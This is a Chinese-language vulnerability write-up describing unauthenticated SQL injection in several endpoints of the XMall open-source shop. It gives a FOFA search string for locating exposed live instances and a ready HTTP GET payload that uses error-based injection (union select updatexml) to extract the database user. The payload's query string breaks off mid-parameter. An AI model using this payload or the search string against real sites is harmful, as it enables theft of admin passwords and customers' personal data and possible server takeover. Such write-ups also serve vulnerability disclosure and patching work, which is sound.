漏洞描述：

XMall 开源商城 /item/list、/item/listSearch、/sys/log、/order/list、/member/list 、/member/list/remove等多处接口存在SQL注入漏洞，未经身份验证的攻击者可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="XMall-后台管理系统"

漏洞复现：

payload：

```
GET /item/listSearch?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,user(),0x7e),1)%23;&start=0&length=1&search%5Bva
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,or;q=0.7
Connection: close
```

效果图:
查询当前用户